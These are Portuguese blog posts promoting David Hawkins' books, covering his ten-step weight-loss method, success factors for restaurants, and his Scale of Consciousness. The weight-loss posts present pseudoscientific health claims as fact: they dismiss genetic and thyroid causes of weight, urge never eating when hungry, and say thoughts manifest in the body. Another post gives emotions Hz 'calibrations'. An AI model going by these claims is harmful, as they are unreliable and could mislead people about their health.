Na Parte 1, falamos sobre o que não fazer para perder peso, além de trazer os primeiros passos recomendados por Hawkins.

A partir de agora, veremos os passos seguintes para quem decide avançar na prática deste caminho de libertação da culpa e do sofrimento em relação à forma física.

Todo esse conteúdo é trazido com mais detalhes e maior profundidade no livro Cura e Recuperação — Um Guia para Curar Corpo, Mente e Espírito. 

Como perder peso: o passo a passo segundo Dr. David Hawkins – Parte 2

No artigo anterior vimos os 3 passos iniciais e agora daremos continuidade, avançando na perda de peso.

Passo 4 para perder peso: faça refeições antecipatórias

Pode parecer bastante contraintuitivo, mas Dr. David Hawkins recomenda nunca comer quando temos fome!

Ao invés disso, a recomendação é antecipar as refeições e comer antes da fome vir. E, se a fome vier, aprender a observar esse impulso, porém sem atendê-lo. 

Hawkins explica que, no início, isso pode nos deixar com uma sensação de tédio, monotonia ou vazio. Por isso, ele sugere trocar o ato de comer por outras sensações prazerosas, como:

  • tirar uma soneca
  • ler um livro
  • praticar um hobby saudável

Se você anda achando que não tem tempo para dormir, problema resolvido! Agora, em vez de comer por impulso ou fome, que tal tirar um cochilo de 20 minutos em um horário alternativo?

Passo 5: coma bastante proteína

Outro “truque” que Dr. David Hawkins ensina para acelerar o processo de emagrecimento é fazer uma dieta rica em proteínas.

A proteína é sintetizada mais lentamente pelo corpo e o nosso organismo precisa de uma certa quantidade de calorias para queimar cada grama de proteína.

Além disso, as proteínas nos geram uma sensação de saciedade maior!

É importante saber que nem todas as calorias são iguais: uma caloria de proteína tende a ser muito mais benéfica do que uma caloria de açúcar, por exemplo.

Passo 6 para perder peso: evite açúcar e doces no início

Falando em açúcar, principalmente no início do processo de emagrecimento é recomendável evitar os doces.

Isso é ainda mais importante se você tem o hábito de comer açúcar (ou carboidratos refinados, como farinha, pães, massas e bolos) de estômago vazio.

O açúcar é absorvido pelo corpo quase que instantaneamente, em uma velocidade muito grande, e não consegue ser metabolizado nesse ritmo tão veloz. 

O resultado disso? Nosso corpo transforma o açúcar em gordura.

E não é só isso: o açúcar estimula a produção de insulina, que traz o próprio açúcar no sangue rapidamente para baixo — e isso gera uma sensação de fome.

Ou seja, cria-se um círculo vicioso de cada vez precisar comer mais açúcar, gerando mais fome e mais estoque de gorduras.

Passo 7: aumente o prazer de comer

A essa altura você talvez esteja desanimado ou desanimada. Pode ser que você pense “ah, mas eu não queria abrir mão do prazer de comer…”.

Então, aqui vai uma boa notícia!

Na verdade, para emagrecer devemos AUMENTAR o prazer de comer. 

Você já notou que, quando comemos por impulso, mal saboreamos a comida? Às vezes comemos de forma tão ansiosa que nem mesmo sentimos os sabores, os temperos e as texturas dos alimentos.

Dr. David Hawkins revela que quando não estamos com fome, a comida é muito mais saborosa. Começamos a verdadeiramente sentir cada mordida. Não há qualquer perda no prazer de comer — pelo contrário.

O prazer de comer agora nasce do próprio ato de comer, e não mais da sensação de fome. Experimente e perceba por si próprio.

Passo 8 para perder peso: crie um lembrete para o seu adulto

Você já observou cuidadosamente a si mesmo enquanto come?

Dr. Hawkins conta que notou algo curioso: quando ele sentava para comer, não era o adulto David que estava ali se alimentando. Era a “criança interior”.

É como se existissem três pessoas dentro de nós: a “criança”, o “adulto” e os “pais”. São três vozes dentro da nossa cabeça.

Enquanto o adulto dentro de nós quer emagrecer, a criança só quer saborear mais e mais daquelas comidas deliciosas. Afinal, o que uma criança sabe sobre dietas, peso e calorias? A consciência da criança mimada só diz “eu quero, eu pego, eu me satisfaço”.

Depois que satisfazemos todos os desejos alimentares da nossa criança interior, os pais vêm e dizem “Você fez tudo errado, não deveria ter repetido a comida!”. Isso gera um ciclo de culpa que não ajuda em nada no processo de emagrecimento.

Mas o que fazer na prática? Simples: deixe lembretes para o seu adulto na porta da geladeira, na mesa e nos armários. Escreva algo como “Apenas adultos”.

Entre a ingenuidade da criança e a cobrança dos pais, a “voz” mais apta para tomar boas decisões é a voz interior do adulto.

Passo 9: crie uma programação positiva sobre o novo corpo

Outra técnica simples e bastante prática é visualizar o tipo de corpo que você quer ter e associá-lo a sensações e emoções positivas.

Por exemplo, você pode se imaginar magro e agradecer por ter esse corpo em forma, amando esse corpo e essa imagem sua.

Se quiser, você pode combinar a visualização com afirmações, dizendo: “É incrível ser magro, ativo e me sentir bem com o meu corpo”.

Inúmeras pesquisas mostram que técnicas de visualização funcionam. Por isso, podemos usá-las sem receio e aproveitar seus benefícios.

Passo 10 para perder peso: defina um limite de quilos

O décimo e último passo que Dr. David Hawkins ensina para perda de peso é estabelecer um limite de quilos e nunca se permitir passar daquele peso.

Isso nos protege de voltar a padrões antigos sem perceber e acabar ficando presos neles.

Por exemplo, se você escolher 60 quilos e sem querer chegar a 61, é hora de voltar ao passo 1 e praticar as recomendações novamente.

Conclusão: como perder peso de maneira prática, fácil e alegre

Todos os passos que vimos neste artigo e também no primeiro artigo desta série são bastante práticos. À primeira vista, eles podem parecer pequenos “truques” ou atalhos, mas a verdade é que exigem uma determinação profunda de amar a si mesmo.

Dr. Hawkins deixa claro que a base para todas as técnicas é aprendermos a nos amar, começarmos a nos valorizar e amar aquilo que realmente somos. Assim, aos poucos começamos a nos divertir com o corpo, olhando para ele com amor.

Vale lembrar também que bastam alguns minutos por dia para praticar todos os 10 passos e, assim, perder peso de maneira prática, fácil e alegre.

Para saber mais, todo esse conteúdo é trazido com mais detalhes e maior profundidade no livro Cura e Recuperação — Um Guia para Curar Corpo, Mente e Espírito. 

Categorias
David Hawkins

Como Perder Peso de Maneira Prática, Fácil e Alegre – Parte 1

Perder Peso

A cada ano, milhões de pessoas traçam como meta perder peso.

Em algum momento, todos esses indivíduos se perguntam: será que existe algum jeito de perder peso sem sofrimento? Será que é possível emagrecer de maneira simples, fácil, prática e alegre?

Para a surpresa de muitos estudantes do Dr. David Hawkins, o professor da consciência abordou este assunto em seu livro Cura e Recuperação — Um Guia para Curar Corpo, Mente e Espírito.

A boa notícia é que, sim, é possível emagrecer de forma leve e feliz com a ajuda da consciência e da espiritualidade!

Veja o que Dr. David Hawkins recomenda para perder peso sem sofrer.

Como perder peso: Dr. David Hawkins também passou por isso

Dr. David Hawkins perdeu 25 quilos — o equivalente a 30% do seu peso corporal — permanentemente após aplicar o que ensina no capítulo 11 do livro Cura e Recuperação. 

Além de sua experiência pessoal, o doutor relata que a técnica ensinada funcionou para todos os pacientes que a colocaram em prática.

Dr. Hawkins explica que o alívio de um problema sempre deve ser simples, direto, duradouro e gratuito.

Como perder peso: o que NÃO funciona!

Segundo Hawkins, dietas normalmente não funcionam a longo prazo. Por quê? Simples: elas tendem a trazer sentimentos de culpa e recriminação.

Este é um ponto central: não é possível perder peso com base na culpa!

Enquanto não tivermos clareza disso, continuaremos repetindo alternativas que nos fazem sentir errados. Essas soluções até trazem resultados no curto prazo, mas não se sustentam, pois não mudam a maneira que a pessoa se relaciona com o corpo. Ou seja, não trabalham no nível da consciência.

Como perder peso: o que funciona?

Assim como já estudamos em outros artigos aqui do blog, o que soluciona os problemas em qualquer área da vida humana é a mudança no estado ou nível de consciência.

Neste sentido, é fundamental compreendermos a diferença entre “poder” e “força”, conforme relatado no livro best seller Poder vs Força, também de Dr. David Hawkins.

Basicamente, qualquer caminho que utilize como base a força de vontade está fadado a dar errado. Afinal, “força de vontade” significa justamente forçar a vontade, forçar a barra.

Como Dr. David Hawkins ensina, forçar algo sempre traz resultados e consequências negativas, levando ao sofrimento e à frustração. O que precisamos, então, é optar pelo uso do Poder, que significa ganharmos consciência sobre a situação e escolhermos um caminho de coragem, disposição, aceitação e amor em relação à situação.

Em suma, é preciso abrir mão do nível de consciência negativo da força de vontade (que é sinônimo de Desejo — calibragem em 125 na Escala da Consciência) e optar pelo nível de consciência positivo da Disposição (calibragem em 310).

Isso serve para qualquer contexto, inclusive o emagrecimento e a perda de peso.

Como perder peso: o passo a passo segundo Dr. David Hawkins

Os passos que Hawkins ensina têm como base a natureza da própria consciência. Ou seja, atuam a nível espiritual, e não apenas físico ou mental.

Passo 1: cancele crenças

Todos nós crescemos ouvindo a nossa família e as pessoas ao nosso redor afirmarem um monte de coisas diferentes sobre o corpo e suas condições. Mas será que essas afirmações são realmente verdadeiras?

Entre as crenças mais comuns estão:

“Na nossa família é normal estar acima do peso, são os genes.”

“É por causa da minha tireóide.”

“É porque eu tinha sobrepeso quando era criança e isso criou muitas células de gordura.”

Na prática, essas crenças populares e teorias médicas se mostram falsas.

Existem casos de pessoas que fazem a mesma dieta e obtêm resultados completamente diferentes. Assim como há casos de indivíduos que foram obesos a vida toda, vieram de famílias com vários casos de sobrepeso e conseguem emagrecer.

Esses são só alguns exemplos. O fato é que, não importa qual seja a crença popular ou médica sobre perder peso, a realidade mostra que essas afirmações não se sustentam.

Portanto, o primeiro passo para emagrecer com leveza é você cancelar as crenças negativas ou limitantes.

Você pode fazer isso afirmando: “Eu sou um ser infinito e só estou sujeito àquilo que mantenho em mente”.

Dr. Hawkins ensina que aquilo que mantemos em mente tende a se manifestar. Portanto, se você abrir mão de crenças limitantes e mantiver em mente apenas crenças positivas sobre o processo de emagrecimento, os resultados serão muito melhores.

Passo 2: mantenha um certo peso em sua mente

Ainda dentro da ideia de manter em mente aquilo que você deseja, é recomendável que você fixe mentalmente um peso desejável.

Se for 60 quilos, por exemplo, você pode até mesmo visualizar uma imagem da balança marcando 60 quilos.

É comum termos a ideia de que primeiro devemos mudar nossos resultados físicos para depois experienciarmos a felicidade, quando na verdade é o contrário. Primeiro devemos nos visualizar no estado desejado, pois o que é mantido em mente se manifesta no corpo.

Passo 3: quando sentir fome, observe a sensação

Agora vamos para um passo ainda mais prático!

Quando a sensação que até então você chamava de fome surgir, ignore os pensamentos, especialmente cancelando os pensamentos de fome.

Em vez disso, observe diretamente a sensação. Foque na experiência interior daquilo que você está vivenciando. Vá para o local onde está tendo essa sensação sem dar nomes ou rótulos para a sensação. Apenas observe e sinta. Apenas experiencie.

Comece a desapegar de resistir a essas sensações. Não tente se livrar da sensação. Não julgue a sensação como errada. Apenas sinta e observe.

Esse é o movimento de ir para a própria consciência.

Perceba que para fazer isso você não precisa de muito tempo. Dr. Hawkins descobriu que qualquer técnica de mudança comportamental funciona se ela se encaixar na rotina da pessoa. Porém, se exigir mudar todo o estilo de vida, os resultados provavelmente não se sustentarão.

No começo, é indicado que assim que a fome surgir você pare por alguns minutos, sente-se tranquilamente e faça esse processo de observação.

Entretanto, com a prática você verá que será possível utilizar essa técnica de forma fluida no dia a dia, sem nem mesmo precisar parar ou se sentar.

Caso queira se aprofundar ainda mais nesse processo de experienciar e desapegar da sensação, leia o livro best seller Deixar Ir. Essa é a obra em que Dr. Hawkins explica em detalhes o mecanismo da rendição ou desapego.

Como perder peso: continue aprofundando o assunto

Gostou desses 3 pontos iniciais para perder peso com o auxílio da consciência e espiritualidade?

No segundo artigo desta série vemos os passos seguintes recomendados por Dr. David Hawkins para emagrecer de maneira prática, fácil e alegre.

Leia a continuação e descubra como perder peso sem sofrer!

Categorias
David Hawkins

Examinando as Barreiras do Sucesso

Barreiras do Sucesso

Vamos examinar quais as barreiras do sucesso? Vamos voltar ao exemplo de um negócio conhecido: os restaurantes. 

Você pode se perguntar: restaurantes? Sim, eles mesmos.

Se você acompanhou nosso último artigo vai compreender porque eles estão nesse texto. Vamos olhar para aspectos práticos desse negócio.

Restaurantes são negócios com os quais todos nós estamos familiarizados, o que facilita o a análise do sucesso.

Olhando desde o princípio do negócio, a percepção e a experiência do consumidor com restaurantes observamos que existem várias etapas para que a ideia se concretize.

Pensar e observar cada uma dessas etapas, desde o princípio é fundamental para o sucesso do estabelecimento. Vamos pontuá-las num guia rápido de análise dos diversos fatores envolvidos nisso.

Considerando o Acesso ao Restaurante

Parece algo tão básico, mas muitas vezes alguns estabelecimentos não são efetivos e claros ao se comunicar com o público, deixam de observar coisas fundamentais que facilitam a percepção e o envolvimento do cliente com o local.

Barreiras do Sucesso – O nome do negócio

Qual o nome que se dará ao restaurante?

  • É algo que atende à vaidade do dono?
  • Um nome longo e chique em francês?
  • Um nome bizarro e difícil de pronunciar?

Barreiras do Sucesso – O endereço do negócio

Foi divulgado adequadamente? 

A divulgação foi feita cuidadosamente?

Contém todas as informações necessárias como o endereço completo com rua, número, por exemplo? 

E no local físico, o número existe e tem boa visibilidade? 

Barreiras do Sucesso – A facilidade de comunicação com o negócio

O telefone ou qualquer outro meio de acesso está facilmente disponível? A comunicação contém o telefone?

Algo elementar, mas muitos estabelecimentos simplesmente deixam de dar informações simples e precisas sobre como o consumidor pode acessar o local.

O local precisa ser facilmente encontrado pelo cliente

Se essas 3 barreiras do sucesso iniciais trouxeram dificuldade de acesso ao serviço ou ao produto, existe uma grande possibilidade do consumidor começar a se questionar sobre como um negócio pode sobreviver não observando a ausência de informações. 

Um restaurante que tem:

  • um nome impronunciável,
  • um endereço oculto
  • um telefone desconhecido
  • ou não divulga qualquer forma de contato

Cria a percepção de que não faz questão de facilitar o acesso do cliente a ele. 

A Experiência no Local 

Finalmente você está no restaurante! E aí, o cliente começa a observar a estrutura do local, qual a experiência que ele oferece.

Recepção –  Como fomos atendidos?

  • Uma hostess fria e com sorriso amarelo te atendeu e deixa você na espera?
  • Você foi levado para o bar e lá fica aguardando um bom tempo para a mesa ser liberada?
  • A mesa destinada a você fica próxima ao banheiro e já estava vazia há muito tempo? 

Qual será a impressão que você ficará desse local?

Banheiros – “O jeito que é o banheiro, também é a cozinha.”

Com certeza esse é um pensamento que passa na cabeça de todo mundo que visita o banheiro de um restaurante.

Nossa imaginação nos leva a estender o cuidado que se tem com a higiene do banheiro para a cozinha, para o comportamento do cozinheiro. 

Outro aspecto sobre esse item, é o quanto restaurantes muito bem decorados pecam em apresentar banheiros decorados sem o mesmo rigor. Embora nem todas utilizem os banheiros, são muito importantes na experiência. 

Os banheiros expressam o cuidado, a criatividade e o zelo do proprietário com seu negócio e com aquilo que vai oferecer ao seu cliente. 

A qualidade da experiência

É o conjunto de todas essas experiências que transmitirá o prazer do dono em servir, a intenção que está por trás de seu negócio.

Não é apenas vender, mas algo que entusiasme, que transmita o amor que existe naquele negócio. 

Boas experiências gerarão lealdade e indicações porque foram agradáveis e criaram percepções da boa intenção e amorosidade contida nesse negócio. 

“Sucesso é a consequência automática de boa vontade”(Dr.Hawkins) 

A força para o sucesso e o poder da atração 

A boa vontade e a intenção motivacional geram poder e o sucesso que não pode ser copiado. É o poder da atração. 

O esforço para se obter o sucesso acaba gerando exaustão e minando as forças. Já a atração que um estabelecimento/negócio é capaz de gerar pela experiência que oferece funciona de tal forma que o Universo trará o sucesso ao empreendedor. 

E, aqui deixamos uma dica para ler sobre o conceito dos campos atratores que Dr. David Hawkins explica em seu livro “Poder vs Força” e que também está descrito em nosso artigo “7 conceitos chave aplicados no estudo dos Níveis de Consciência”. 

A pergunta que está subjacente para compreender se estamos atuando com o poder da atração é:

Como um restaurante faz os outros se sentirem sobre ele?

Imagine se a resposta trouxer aspectos como esses: 

  • a localização é péssima
  • fiquei em pé numa fila,
  • os banheiros são nojentos
  • as cadeiras desconfortáveis
  • o garçom era desrespeitoso
  • o estacionamento é caro e o carro fica no sol
  • o ambiente é feio, apertado, mal iluminado, mal decorado
  • a música ambiente é desagradável e alta 

Essa experiência não faz as pessoas se sentirem bem sobre uma experiência.

Intuitivamente, entendemos e captamos a intenção ou a falta de carinho e energia investidos por trás de cada aspecto do negócio e é esse campo que gerará um movimento de atração ou aversão às novas experiências com esse local.

Que negócio esteve ali antes desse restaurante?

Outro aspecto que pode ser impactante no sucesso de um novo restaurante é a observação da seguinte questão: já houve outros restaurantes no mesmo edifício? Por que eles fecharam? Faliram? O que exatamente houve nesse local? 

Alguns locais têm campos atratores verdadeiramente desfavoráveis que podem interferir e impactar no sucesso de um negócio.

Segundo Dr. Hawkins, esse é um assunto que merece um livro exclusivo mas, em linhas gerais e até mesmo usando uma forma simples de se dizer, são locais onde energias desfavoráveis atuam, prejudicando o desenvolvimento de atividades de sucesso. 

A Consciência da Boa Vontade 

A consciência da boa vontade que é formada tanto pelas experiências dos consumidores quanto pela energia do local e intenções do proprietário é fundamental para o sucesso.

A atenção e a solicitude são a base para negócios lucrativos e prazerosos. 

Diz Dr. Hawkins:

“É importante fazer o cliente se “sentir em casa”. Isso é simples decência e hospitalidade, que tanto falta hoje em dia nas empresas previsíveis e tediosas. Um ambiente tedioso cria colaboradores entediados e trazem consumidores estúpidos ou chatos, que fazem toda a experiência se tornar cansativa. As pessoas nos perdoam por qualquer coisa, exceto por entediá-las.”

E é num tom divertido que Dr. Hawkins nos conduz ao entendimento do que é o verdadeiro sucesso através da leitura desse livro. É uma experiência agradável que, com certeza, agregará muito àqueles que se aventurarem em sua leitura.

Categorias
Níveis de Consciência

Escala Hawkins da Consciência: o que é e como utilizá-la

Escala Hawkins

Escala de níveis de consciência? Existe isso?

Sim, existe, e demandou um longo estudo para ser organizado. A Escala Hawkins organiza toda essa pesquisa de forma que todos possam compreender como se dá a evolução humana no que diz respeito às emoções e aos impactos que elas têm em nossa vida.

Com toda certeza, dentro da comunidade científica, Dr. David R. Hawkins foi uma das pessoas que mais se debruçou a estudar, desvendar, organizar e identificar as emoções humanas e como elas se apresentavam numa escala evolutiva.

Como PHD, psiquiatra e estudioso, observava que inúmeras escolas de psicoterapia apoiavam suas condutas na tentativa de obter respostas através da simbologia e referências mitológicas.

Dr.Hawkins buscou um outro caminho:  a simplicidade inerente à verdade. Essa foi sua inspiração para a elaboração de um Mapa das Emoções humanas.

Será que conhecemos as emoções que estão dentro de nós? Será que sabemos verdadeiramente qual é nosso nível de consciência e como isso impacta em nossa vida e define nossos comportamentos?

Compreendendo a Escala Hawkins da Consciência

A Escala Hawkins avalia e ordena emoções que vão das mais negativas às mais positivas e caracteriza cada estado de consciência, detalhando os comportamentos que fazem parte dessas consciências.

É incrível como essa Escala é capaz de mapear nosso comportamento e despertar em nós o desejo do autoconhecimento, de superar cada um desses níveis, nos propondo quase que um desafio de autossuperação.

Compreender os detalhes dessa Escala pode nos trazer saltos de consciência porque nos coloca em contato com a verdadeira essência, tornando transparente as emoções que nos movem e como elas têm impactado em nosso evoluir.

De forma rápida e resumida, o Mapa da Consciência nomeia as seguintes emoções:

Características das Pessoas que vivem em Níveis de Consciência Negativos

Independentemente do quão feliz pareça estar uma pessoa, as emoções negativas estão presentes.

  • Culpa
  • Medo
  • Raiva
  • Ansiedade
  • Irritação
  • Indignação

Todas essas emoções e sentimentos determinam níveis de consciência negativos e trazem sofrimento.

É comum observarmos indivíduos negativos cujos pensamentos são igualmente negativos. Isso acontece porque não se observam, não conseguem se compreender e não conhecem a si próprios. Buscam a felicidade em algum lugar fora delas. E, debruçar essa expectativa de que a felicidade vem do exterior traz muito sofrimento e frustrações constantes.

Essas pessoas se caracterizam por alguns comportamentos como:

  • Não praticam a autorresponsabilidade, não assumem para si o encargo de suas próprias vidas
  • Tendem a culpar tudo e todos por qualquer coisa que saia “errada” em sua vida.
  • Consideram que tudo o que sai fora daquilo que desejavam é uma grande desgraça
  • Nem de longe entendem que a vida é feita de experiências e que estamos aqui para experimentar, aprender e evoluir.
  • Buscam conquistar bens materiais, ter status, ser reconhecidos, captar atenção, tudo fora de si com a intenção de suprir suas carências e ausência de felicidade, tornando-se egoístas.

Características das Pessoas que vivem em Níveis de Consciência Positivos

De outra forma, observamos pessoas que se conectam muito mais com emoções positivas como:

  • Coragem
  • Neutralidade
  • Disposição
  • Aceitação
  • Disposição
  • Razão

São pessoas que entendem a amplitude do conceito de abundância, que é muito mais do que apenas possuir coisas materiais e conhecem o “sucesso”. Geralmente tornamos essas pessoas referências para nosso próprio desenvolvimento.

O entusiasmo, o perdão, o autodomínio estão presentes nas pessoas que focam mais nas emoções positivas. Denotam bem-estar e almejam isso para o próximo também.

Praticam e desenvolvem o autoconhecimento e consideram os erros que cometem uma oportunidade de aprendizado e seguem com tenacidade e constância.

E como é possível reconhecer onde estamos na Escala Hawkins da Consciência?

É apenas através da compreensão sobre em que nível de consciência estamos, como lidamos com nossas emoções e quais são nossas reações que podemos subir na Escala Hawkins da Consciência. Desenvolvendo a auto-observação, olhando verdadeiramente, sem julgamentos para si e para nossos comportamentos.

Quando conseguimos nos apartar das emoções, tanto das negativas quanto das positivas, na maior parte do tempo, olhando para a realidade que existe atrás de todas as situações que nos ocorrem, não julgamos aquilo que acontece como bom ou ruim, apenas observamos e olhamos o aprendizado oculto que existe ali.

Para que isso aconteça não é necessário que nos tornemos alheios e frios diante da realidade, mas é importante que observemos as emoções que nos cabem ou não, aquelas que fazem sentido e aquelas que não queremos mais em nossas vidas. Gênios e pessoas de ideais nobres estão nesse nível de consciência da Razão.

Além desse nível, há ainda pessoas que vivenciam o Amor através de uma postura altruísta e se mobilizam mais pelas necessidades dos outros do que suas próprias necessidades. Fazem isso com alegria, amorosidade por vivenciarem verdadeiramente o Amor. São aqueles que vislumbram uma sociedade mais harmônica e colaborativa.

Aqui no site você pode conhecer mais sobre as emoções da escala de níveis de consciência. Sugerimos que você comece pela emoção Vergonha, que calibra em 20 Hz, a emoção inicial do mapa.

Conheça as emoções presentes em sua jornada

Por isso, buscar o autoconhecimento, a compreensão de como nossas consciências funcionam é a única forma de nos tornarmos pessoas mais plenas e felizes.

Que tal dar início a esse processo através de leituras qualificadas como os livros do Dr. David Hawkins ou com a ajuda de outras pessoas e profissionais que já deram início a esse processo?

Aí você pergunta, por quais livros devo começar? Sem problemas, aqui está uma sugestão de leitura para que você entenda com profundidade a Escala Hawkins de Consciência e como ela pode se tornar uma prática em sua evolução.

  • “Poder vs Força”: todo o processo de desenvolvimento e os caminhos que Hawkins traçou até chegar à Escala
  • “Deixar Ir”: cada uma das emoções explanadas detalhadamente, com muitos exemplos que nos ajudam a localizar nossas próprias emoções
  • “O Sucesso é para Você”: uma visão muito clara e diversa de tudo o que acreditamos ser necessário para se obter sucesso em todas as áreas da vida
  • “Cura e Recuperação”: a mais nova obra traduzida com exclusividade aqui no Brasil pela Pandora Editora. Nesse livro Dr. Hawkins traz a relação das doenças que desenvolvemos com nossas emoções e crenças e como podemos atuar ativamente no surgimento ou controle delas.

Boa leitura! Boa jornada!